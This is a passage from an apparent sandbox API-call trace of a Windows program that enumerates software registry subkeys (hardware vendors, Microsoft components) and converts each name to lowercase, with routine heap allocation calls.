Size=0x80) returned 0x3ebbb8 [0026.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0026.463] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x3ec0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0026.463] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.463] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.463] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.463] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.463] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0x3eb930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0026.463] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.463] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x3ec120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0026.463] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.463] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.463] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.463] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.463] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0x3eb930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0026.463] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.464] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x3ec0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0026.464] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.464] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.464] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.464] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.464] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0x3eb930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0026.464] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.464] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x3ec120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0026.464] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.464] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.464] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.464] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.464] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0x3eb930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0026.464] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0026.464] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x3ec0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0026.464] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.464] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.464] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.464] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.464] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x5, lpName=0x3eb930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0026.464] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.464] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x3ec120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0026.464] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.464] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.464] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.464] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.465] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x6, lpName=0x3eb930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0026.465] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0026.465] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x3ec0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0026.465] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.465] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.465] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.465] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.465] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x34f404 | out: phkResult=0x34f404*=0x24) returned 0x0 [0026.465] RegCloseKey (hKey=0xa0) returned 0x0 [0026.465] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0x3eb930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0026.465] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0026.465] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x3ec120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0026.465] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.465] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.465] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.465] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.465] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0x3eb930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0026.465] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.465] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x3ec0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0026.465] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.465] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.465] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.465] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.465] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0x3eb930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0026.465] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.466] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x3ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0026.466] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.466] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.466] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.466] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.466] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0x3eb930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0026.466] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0026.466] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x3ec0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0026.466] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.466] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.466] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.466] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.466] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0x3eb930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0026.466] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.466] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x3ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0026.466] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.466] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.466] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.466] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.466] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0x3eb930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0026.466] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.466] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x3ec0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0026.466] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.466] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.466] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.466] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.466] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0x3eb930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0026.466] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.467] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x3ec120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0026.467] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.467] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.467] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.467] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.467] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0x3eb930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0026.467] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.467] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x3ec0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0026.467] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.467] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.467] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.467] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.467] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0x3eb930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0026.467] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0026.467] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x3ec120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0026.467] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.467] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.467] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.467] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.467] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0x3eb930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0026.467] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0026.467] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x3ec0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0026.467] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.467] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.467] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.467] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.467] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0x3eb930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0026.468] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0026.468] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x3ec120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0026.468] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.468] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.468] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.468] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.468] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0x3eb930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0026.468] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.468] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x3ec0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0026.468] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.468] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.468] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.468] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.468] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0x3eb930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0026.468] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.468] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x3ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0026.468] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.468] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.468] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.468] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.468] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0x3eb930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0026.468] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.468] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 